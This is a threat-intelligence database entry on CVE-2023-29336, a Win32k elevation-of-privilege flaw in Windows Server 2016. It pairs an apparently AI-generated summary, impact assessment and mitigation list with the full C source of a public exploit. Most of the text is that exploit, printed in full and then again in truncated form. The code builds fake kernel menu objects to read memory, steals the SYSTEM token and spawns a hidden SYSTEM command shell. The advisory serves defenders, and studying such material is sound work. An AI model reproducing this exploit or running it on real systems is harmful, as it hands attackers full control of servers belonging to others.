Microsoft Windows Server 2016 - Win32k Elevation of Privilege
Microsoft Windows Server 2016 - Win32k Elevation of Privilege
AI Analysis
Technical Summary
This security threat concerns a local privilege escalation vulnerability in Microsoft Windows Server 2016, specifically targeting the Win32k subsystem, identified as CVE-2023-29336. The vulnerability allows an attacker with local access to elevate privileges from a lower-privileged user to SYSTEM level by exploiting weaknesses in the handling of window menus and kernel objects within the Win32k driver. The provided exploit code, written in C, manipulates internal kernel structures related to menus and window classes to perform token stealing, a common technique to gain SYSTEM privileges. It achieves this by creating and manipulating fake menu objects and window classes, leveraging offsets within the EPROCESS structure to locate and replace the current process token with that of the SYSTEM process (PID 4). The exploit uses direct memory reads and writes to kernel memory via crafted window handles and menu objects, bypassing normal security checks. The code dynamically resolves necessary kernel functions from win32u.dll, registers multiple window classes, creates numerous windows and menus, and performs complex memory manipulations to achieve the elevation of privilege. The exploit culminates in spawning a hidden command shell with SYSTEM privileges, demonstrating full control over the compromised system. No patch links are provided, and no known exploits in the wild have been reported yet, but the availability of functional exploit code increases the risk of imminent exploitation. The vulnerability does not require user interaction beyond local code execution and does not require authentication beyond local access, making it a potent threat for attackers who have already gained limited access to a system.
Potential Impact
For European organizations, this vulnerability poses a significant risk to the confidentiality, integrity, and availability of critical Windows Server 2016 systems. Since Windows Server 2016 remains widely deployed in enterprise environments across Europe for domain controllers, file servers, and application hosting, successful exploitation could allow attackers to gain SYSTEM-level privileges, effectively full control over affected servers. This could lead to unauthorized access to sensitive data, disruption of business-critical services, lateral movement within networks, and deployment of ransomware or other malicious payloads. The local nature of the exploit means attackers must first gain some form of access (e.g., via phishing, compromised credentials, or other vulnerabilities), but once inside, this exploit can be used to escalate privileges and bypass security controls. The lack of patches or mitigations at the time of publication increases the urgency for European organizations to implement defensive measures. The exploit's complexity and reliance on kernel memory manipulation also suggest that detection may be challenging without specialized monitoring. Given the strategic importance of Windows Server infrastructure in sectors such as finance, government, healthcare, and critical infrastructure in Europe, exploitation could have severe operational and reputational consequences.
Mitigation Recommendations
1. Immediate mitigation should include restricting local access to Windows Server 2016 systems, limiting administrative privileges, and enforcing strict access controls to reduce the risk of initial foothold. 2. Deploy host-based intrusion detection systems (HIDS) and endpoint detection and response (EDR) solutions capable of monitoring unusual kernel-level activity, such as abnormal window class registrations or menu manipulations. 3. Monitor for suspicious process creations, especially hidden command shells spawned from system processes, as the exploit culminates in such behavior. 4. Employ application whitelisting and restrict execution of unauthorized binaries and scripts to prevent execution of exploit code. 5. Network segmentation should be enforced to limit lateral movement from compromised hosts. 6. Regularly audit and harden Windows Server configurations, including disabling unnecessary services and features that could be leveraged for local access. 7. Since no official patch is available, consider deploying third-party kernel integrity monitoring tools or applying unofficial mitigations such as disabling or restricting access to vulnerable Win32k components where feasible. 8. Prepare incident response plans specifically addressing privilege escalation scenarios and conduct threat hunting exercises focused on Win32k exploitation indicators. 9. Keep abreast of Microsoft advisories for forthcoming patches and apply them promptly once released.
Affected Countries
United Kingdom, Germany, France, Netherlands, Italy, Spain, Poland, Sweden, Belgium, Ireland
Indicators of Compromise
- exploit-code: # Exploit Title: Microsoft Windows Server 2016 - Win32k Elevation of Privilege # Date: 2025-05-19 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # Country: United Kingdom # CVE : CVE-2023-29336 #include <windows.h> #include <stdio.h> #include <tchar.h> #define IDM_MYMENU 101 #define IDM_EXIT 102 #define IDM_DISABLE 0xf120 #define IDM_ENABLE 104 #define EPROCESS_UNIQUE_PROCESS_ID_OFFSET 0x440 #define EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x448 #define EPROCESS_TOKEN_OFFSET 0x4b8 typedef DWORD64(NTAPI* NtUserEnableMenuItem)(HMENU hMenu, UINT uIDEnableItem, UINT uEnable); typedef DWORD64(NTAPI* NtUserSetClassLongPtr)(HWND a1, unsigned int a2, unsigned __int64 a3, unsigned int a4); typedef DWORD64(NTAPI* NtUserCreateAcceleratorTable)(void* Src, int a2); typedef DWORD64(NTAPI* fnNtUserConsoleControl)(int nConsoleCommand, PVOID, int nConsoleInformationLength); NtUserSetClassLongPtr g_NtUserSetClassLongPtr = NULL; NtUserEnableMenuItem g_NtUserEnableMenuItem = NULL; NtUserCreateAcceleratorTable g_NtUserCreateAcceleratorTable = NULL; fnNtUserConsoleControl g_pfnNtUserConsoleControl = nullptr; LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam); int syytem(); typedef struct _SHELLCODE { DWORD reserved; DWORD pid; DWORD off_THREADINFO_ppi; DWORD off_EPROCESS_ActiveLink; DWORD off_EPROCESS_Token; BOOL bExploited; BYTE pfnWindProc[]; } SHELLCODE, * PSHELLCODE; struct tagMENU { ULONG64 field_0; ULONG64 field_8; ULONG64 field_10; ULONG64 field_18; ULONG64 field_20; PVOID obj28; DWORD field_30; DWORD flag1; DWORD flag2; DWORD cxMenu; DWORD cyMenu; ULONG64 field_48; PVOID rgItems; ULONG64 field_58; // + 0x58 ULONG64 field_60; ULONG64 field_68; ULONG64 field_70; ULONG64 field_78; ULONG64 field_80; ULONG64 field_88; ULONG64 field_90; PVOID ref; // + 0x98 }; struct MyData { BYTE name[0x96]; }; tagMENU* g_pFakeMenu = 0; static PSHELLCODE pvShellCode = NULL; HMENU hSystemMenu; HMENU hMenu; HMENU hSubMenu; HMENU hAddedSubMenu; HMENU hMenuB; PVOID MENU_add = 0; DWORD flag = 0; UINT iWindowCount = 0x100; HWND HWND_list[0x300]; HWND HWND_list1[0x20]; HMENU HMENUL_list[0x300]; int Hwnd_num = 0; int Hwnd_num1 = 0; ULONGLONG HWND_add = 0; ULONGLONG GS_off = 0; WORD max = 0; static PULONGLONG ptagWNDFake = NULL; static PULONGLONG ptagWNDFake1 = NULL; static PULONGLONG ptagWNDFake2 = NULL; static PULONGLONG GS_hanlde = NULL; static PULONGLONG HWND_class = NULL; struct ThreadParams { int threadId; int numLoops; }; static unsigned long long GetGsValue(unsigned long long gsValue) { return gsValue; } PVOID GetMenuHandle(HMENU menu_D) { int conut = 0; PVOID HANDLE = 0; PBYTE add = 0; WORD temp = 0; DWORD offset = 0xbd688; HMODULE hModule = LoadLibraryA("USER32.DLL"); PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu"); ULONGLONG par1 = 0; DWORD par2 = 0; memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08); memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02); add = (PBYTE)(par1 + 0x18 * (WORD)menu_D); if (add) { HANDLE = *(PVOID*)add; } else { HANDLE = 0; } HANDLE= (PVOID*)((ULONGLONG)HANDLE - GS_off+0x20); return *(PVOID*)HANDLE; } PVOID xxGetHMValidateHandle(HMENU menu_D, DWORD type_hanlde) { int conut = 0; PVOID HANDLE = 0; PBYTE add = 0; WORD temp = 0; DWORD offset = 0xbd688; HMODULE hModule = LoadLibraryA("USER32.DLL"); PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu"); ULONGLONG par1 = 0; DWORD par2 = 0; memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08); memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02); temp = (ULONGLONG)menu_D >> 16; add = (PBYTE)(par1 + 0x18 * (WORD)menu_D); if (add) { HANDLE = *(PVOID*)add; } else { HANDLE = 0; } HANDLE = (PVOID*)((ULONGLONG)HANDLE - GS_off + 0x20); return *(PVOID*)HANDLE; } static VOID xxReallocPopupMenu(VOID) { for (INT i = 0; i < 0x8; i++) { WNDCLASSEXW Class = { 0 }; WCHAR szTemp[0x100] = { 0 }; HWND hwnd = NULL; wsprintfW(szTemp, L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@A%d", i); Class.cbSize = sizeof(WNDCLASSEXA); Class.lpfnWndProc = DefWindowProcW; Class.cbWndExtra = 0; Class.hInstance = GetModuleHandleA(NULL); Class.lpszMenuName = NULL; Class.lpszClassName = szTemp; if (!RegisterClassExW(&Class)) { continue; } } } VOID createclass(VOID) { WCHAR szTemp[0x100] = { 0 }; for (INT i = 9; i < 29; i++) { WNDCLASSEXW Class = { 0 }; HWND hwnd = NULL; wsprintfW(szTemp, L"A@A%d", i); Class.cbSize = sizeof(WNDCLASSEXA); Class.lpfnWndProc = DefWindowProcW; Class.cbWndExtra = 0x20; Class.hInstance = GetModuleHandleA(NULL); Class.lpszMenuName = NULL; Class.lpszClassName = szTemp; Class.cbClsExtra = 0x1a0; if (!RegisterClassExW(&Class)) { continue; } } for (INT i = 9; i < 29; i++) { wsprintfW(szTemp, L"A@A%d", i); HWND_list1[i]=CreateWindowEx(NULL, szTemp, NULL, WS_VISIBLE, 0, 0, 0, 0, NULL,NULL, NULL, NULL); } } ULONG64 Read64(ULONG64 address) { MENUBARINFO mbi = { 0 }; mbi.cbSize = sizeof(MENUBARINFO); g_pFakeMenu->rgItems = PVOID(address - 0x48); GetMenuBarInfo(HWND_list[max+1], OBJID_MENU, 1, &mbi); return (unsigned int)mbi.rcBar.left + ((ULONGLONG)mbi.rcBar.top << 32); } void exploit() { for (int i = 0; i < 0x20; i++) { ULONG64 pmenu = SetClassLongPtr(HWND_list1[i], 0x270, (LONG_PTR)g_pFakeMenu); if (pmenu != 0) { Hwnd_num = i; MENUBARINFO mbi = { 0 }; mbi.cbSize = sizeof(MENUBARINFO); } } // Token stealing ULONG64 p = Read64(HWND_add +0x250+ 0x10); // USER_THREADINFO p = Read64(p); //THREADINFO p = Read64(p + 0x220); // (PROCESSINFO) ULONG64 eprocess = p; printf("Current EPROCESS = %llx\n", eprocess); p = Read64(p + 0x2f0); do { p = Read64(p + 0x08); ULONG64 pid = Read64(p - 0x08); if (pid == 4) { ULONG64 pSystemToken = Read64(p + 0x68); printf("pSys/tem Token = %llx \n", pSystemToken); HWND_class = (PULONGLONG)((PBYTE)0x303000); HWND_class[8] = eprocess + 0x290; HWND_class[12] = 0x100; HWND_class[20] = 0x303010; ULONG64 ret_add = SetClassLongPtr(HWND_list1[Hwnd_num], 0x250 + 0x98 - 0xa0, (LONG_PTR)HWND_class); SetClassLongPtr(HWND_list[max + 1], 0x28, pSystemToken); ret_add = SetClassLongPtr(HWND_list1[Hwnd_num], 0x250 + 0x98 - 0xa0, (LONG_PTR)ret_add); break; } } while (p != eprocess); syytem(); } void buildmem() { WORD max_handle = 0; pvShellCode = (PSHELLCODE)VirtualAlloc((PVOID)0x300000, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pvShellCode == NULL) { return; } ZeroMemory(pvShellCode, 0x10000); ptagWNDFake = (PULONGLONG)((PBYTE)0x304140); ptagWNDFake[0] = (ULONGLONG)0x304140; ptagWNDFake[2] = (ULONGLONG)0x304140 + 0x10; ptagWNDFake[6] = (ULONGLONG)0x304140; ptagWNDFake[8] = 0x305300; ptagWNDFake[11] = (ULONGLONG)MENU_add; ptagWNDFake[68] = (ULONGLONG)0x304140 + 0x230; ptagWNDFake[69] = (ULONGLONG)0x304140 + 0x28; ptagWNDFake[70] = (ULONGLONG)0x304140 + 0x30; ptagWNDFake[71] = (ULONGLONG)0x000004; ptagWNDFake1 = (PULONGLONG)((PBYTE)0x305300); ptagWNDFake1[1] = (ULONGLONG)0x11; ptagWNDFake1[2] = (ULONGLONG)0x305320; ptagWNDFake1[6] = (ULONGLONG)0x1000000000020000; ptagWNDFake1[8] = (ULONGLONG)0x00000000029d0000; ptagWNDFake1[11] = (ULONGLONG)HWND_add + 0x63 - 0x120; ptagWNDFake1[14] = (ULONGLONG)0x306500; ptagWNDFake1[16] = (ULONGLONG)305400; ptagWNDFake2 = (PULONGLONG)((PBYTE)0x306500); ptagWNDFake1[11] = (ULONGLONG)0x306600; WNDCLASSEX WndClass = { 0 }; WndClass.cbSize = sizeof(WNDCLASSEX); WndClass.lpfnWndProc = DefWindowProc; WndClass.style = CS_VREDRAW | CS_HREDRAW; WndClass.cbWndExtra = 0xe0; WndClass.hInstance = NULL; WndClass.lpszMenuName = NULL; WndClass.lpszClassName = L"NormalClass"; RegisterClassEx(&WndClass); for (int i = 0; i < 0x200; i++) { HMENUL_list[i] = CreateMenu(); } for (int i = 0; i < 0x100; i++) { HWND_list[i] = CreateWindowEx(NULL, L"NormalClass", NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, HMENUL_list[i], NULL, NULL); } for (int i = 0; i < 0x100; i++) { SetWindowLongPtr(HWND_list[i], 0x58, (LONG_PTR)0x0002080000000000); SetWindowLongPtr(HWND_list[i], 0x80, (LONG_PTR)0x0000303030000000); } for (int i = 0x20; i < 0x60; i++) { if ((ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2], 0x01)- (ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2 - 1], 0x01)== 0x250) { if ((ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2 + 1], 0x01)-(ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2], 0x01) == 0x250) { HWND_add = (ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i*2], 0x01); max = i * 2; break; } } if (i == 0x5f) { HWND_add = 0; } } ptagWNDFake1[11] = (ULONGLONG)HWND_add + 0x63 - 0x120; DestroyWindow(HWND_list[max]); createclass(); // Create a fake spmenu PVOID hHeap = (PVOID)0x302000; g_pFakeMenu = (tagMENU*)(PVOID)0x302000; g_pFakeMenu->ref = (PVOID)0x302300; *(PULONG64)g_pFakeMenu->ref = (ULONG64)g_pFakeMenu; // cItems = 1 g_pFakeMenu->obj28 = (PVOID)0x302200; *(PULONG64)((PBYTE)g_pFakeMenu->obj28 + 0x2C) = 1; // rgItems g_pFakeMenu->rgItems = (PVOID)0x304000; // cx / cy must > 0 g_pFakeMenu->flag1 = 1; g_pFakeMenu->flag2 = 1; g_pFakeMenu->cxMenu = 1; g_pFakeMenu->cyMenu = 1; // } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { ULONGLONG gsValue = 0; unsigned char shellcode[] = "\x65\x48\x8B\x04\x25\x30\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc3"; LPVOID executableMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (executableMemory == NULL) { return 1; } memcpy(executableMemory, shellcode, sizeof(shellcode)); gsValue = ((ULONGLONG(*)())executableMemory)(); gsValue = gsValue + 0x800; GS_hanlde = (PULONGLONG)(PBYTE)gsValue; GS_off = GS_hanlde[5]; char str[0xb8] = ""; memset(str, 0x41, 0xa8); g_NtUserEnableMenuItem = (NtUserEnableMenuItem)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserEnableMenuItem"); g_NtUserSetClassLongPtr = (NtUserSetClassLongPtr)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserSetClassLongPtr"); g_NtUserCreateAcceleratorTable = (NtUserCreateAcceleratorTable)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserCreateAcceleratorTable"); g_pfnNtUserConsoleControl = (fnNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserConsoleControl"); WNDCLASS wc = { 0 }; wc.lpfnWndProc = WndProc; wc.hInstance = hInstance; wc.lpszClassName = TEXT("EnableMenuItem"); RegisterClass(&wc); HWND hWnd = CreateWindow( wc.lpszClassName, TEXT("EnableMenuItem"), WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 400, 300, NULL, NULL, hInstance, NULL ); if (!hWnd) return FALSE; /// hSystemMenu = GetSystemMenu(hWnd, FALSE); hSubMenu = CreatePopupMenu(); MENU_add = GetMenuHandle(hSubMenu); hMenuB = CreateMenu(); buildmem(); if (HWND_add == 0) { return 0; } AppendMenu(hSubMenu, MF_STRING, 0x2061, TEXT("0")); AppendMenu(hSubMenu, MF_STRING, 0xf060, TEXT("1")); DeleteMenu(hSystemMenu, SC_CLOSE, MF_BYCOMMAND); AppendMenu(hMenuB, MF_POPUP, (UINT_PTR)hSubMenu, L"Menu A"); AppendMenu(hSystemMenu, MF_POPUP, (UINT_PTR)hMenuB, L"Menu B"); ShowWindow(hWnd, nCmdShow); UpdateWindow(hWnd); flag = 1; g_NtUserEnableMenuItem(hSystemMenu, 0xf060, 0x01); exploit(); MSG msg = { 0 }; while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return (int)msg.wParam; } LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { switch (message) { case WM_DESTROY: PostQuitMessage(0); return 0; case 0xae: switch (wParam) { case 0x1000: if (flag) { int itemCount = GetMenuItemCount(hMenuB); for (int i = itemCount - 1; i >= 0; i--) { RemoveMenu(hMenuB, i, MF_BYPOSITION); } DestroyMenu(hSubMenu); xxReallocPopupMenu(); } case 0x1001: if (flag) { int itemCount = GetMenuItemCount(hMenuB); for (int i = itemCount - 1; i >= 0; i--) { RemoveMenu(hMenuB, i, MF_BYPOSITION); } DestroyMenu(hSubMenu); xxReallocPopupMenu(); } return 0; } break; } return DefWindowProc(hWnd, message, wParam, lParam); } int syytem() { SECURITY_ATTRIBUTES sa; HANDLE hRead, hWrite; byte buf[40960] = { 0 }; STARTUPINFOW si; PROCESS_INFORMATION pi; DWORD bytesRead; RtlSecureZeroMemory(&si, sizeof(si)); RtlSecureZeroMemory(&pi, sizeof(pi)); RtlSecureZeroMemory(&sa, sizeof(sa)); int br = 0; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; if (!CreatePipe(&hRead, &hWrite, &sa, 0)) { return -3; } si.cb = sizeof(STARTUPINFO); GetStartupInfoW(&si); si.hStdError = hWrite; si.hStdOutput = hWrite; si.wShowWindow = SW_HIDE; si.lpDesktop = L"WinSta0\\Default"; si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; wchar_t cmd[4096] = { L"cmd.exe" }; if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { CloseHandle(hWrite); CloseHandle(hRead); printf("[!] CreateProcessW Failed![%lx]\n", GetLastError()); return -2; } CloseHandle(hWrite); }
Microsoft Windows Server 2016 - Win32k Elevation of Privilege
Description
Microsoft Windows Server 2016 - Win32k Elevation of Privilege
AI-Powered Analysis
Technical Analysis
This security threat concerns a local privilege escalation vulnerability in Microsoft Windows Server 2016, specifically targeting the Win32k subsystem, identified as CVE-2023-29336. The vulnerability allows an attacker with local access to elevate privileges from a lower-privileged user to SYSTEM level by exploiting weaknesses in the handling of window menus and kernel objects within the Win32k driver. The provided exploit code, written in C, manipulates internal kernel structures related to menus and window classes to perform token stealing, a common technique to gain SYSTEM privileges. It achieves this by creating and manipulating fake menu objects and window classes, leveraging offsets within the EPROCESS structure to locate and replace the current process token with that of the SYSTEM process (PID 4). The exploit uses direct memory reads and writes to kernel memory via crafted window handles and menu objects, bypassing normal security checks. The code dynamically resolves necessary kernel functions from win32u.dll, registers multiple window classes, creates numerous windows and menus, and performs complex memory manipulations to achieve the elevation of privilege. The exploit culminates in spawning a hidden command shell with SYSTEM privileges, demonstrating full control over the compromised system. No patch links are provided, and no known exploits in the wild have been reported yet, but the availability of functional exploit code increases the risk of imminent exploitation. The vulnerability does not require user interaction beyond local code execution and does not require authentication beyond local access, making it a potent threat for attackers who have already gained limited access to a system.
Potential Impact
For European organizations, this vulnerability poses a significant risk to the confidentiality, integrity, and availability of critical Windows Server 2016 systems. Since Windows Server 2016 remains widely deployed in enterprise environments across Europe for domain controllers, file servers, and application hosting, successful exploitation could allow attackers to gain SYSTEM-level privileges, effectively full control over affected servers. This could lead to unauthorized access to sensitive data, disruption of business-critical services, lateral movement within networks, and deployment of ransomware or other malicious payloads. The local nature of the exploit means attackers must first gain some form of access (e.g., via phishing, compromised credentials, or other vulnerabilities), but once inside, this exploit can be used to escalate privileges and bypass security controls. The lack of patches or mitigations at the time of publication increases the urgency for European organizations to implement defensive measures. The exploit's complexity and reliance on kernel memory manipulation also suggest that detection may be challenging without specialized monitoring. Given the strategic importance of Windows Server infrastructure in sectors such as finance, government, healthcare, and critical infrastructure in Europe, exploitation could have severe operational and reputational consequences.
Mitigation Recommendations
1. Immediate mitigation should include restricting local access to Windows Server 2016 systems, limiting administrative privileges, and enforcing strict access controls to reduce the risk of initial foothold. 2. Deploy host-based intrusion detection systems (HIDS) and endpoint detection and response (EDR) solutions capable of monitoring unusual kernel-level activity, such as abnormal window class registrations or menu manipulations. 3. Monitor for suspicious process creations, especially hidden command shells spawned from system processes, as the exploit culminates in such behavior. 4. Employ application whitelisting and restrict execution of unauthorized binaries and scripts to prevent execution of exploit code. 5. Network segmentation should be enforced to limit lateral movement from compromised hosts. 6. Regularly audit and harden Windows Server configurations, including disabling unnecessary services and features that could be leveraged for local access. 7. Since no official patch is available, consider deploying third-party kernel integrity monitoring tools or applying unofficial mitigations such as disabling or restricting access to vulnerable Win32k components where feasible. 8. Prepare incident response plans specifically addressing privilege escalation scenarios and conduct threat hunting exercises focused on Win32k exploitation indicators. 9. Keep abreast of Microsoft advisories for forthcoming patches and apply them promptly once released.
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Technical Details
- Edb Id
- 52301
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Microsoft Windows Server 2016 - Win32k Elevation of Privilege
# Exploit Title: Microsoft Windows Server 2016 - Win32k Elevation of Privilege # Date: 2025-05-19 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # Country: United Kingdom # CVE : CVE-2023-29336 #include <windows.h> #include <stdio.h> #include <tchar.h> #define IDM_MYMENU 101 #define IDM_EXIT 102 #define IDM_DISABLE 0xf120 #define IDM_ENABLE 104 #define EPROCESS_UNIQUE_PROCESS_ID_OFFSET 0x440 #define EPROCESS
... (14559 more characters)
Threat ID: 68489db97e6d765d51d530f1
Added to database: 6/10/2025, 9:03:53 PM
Last enriched: 6/11/2025, 9:14:42 PM
Last updated: 8/18/2025, 4:09:34 AM
Views: 13
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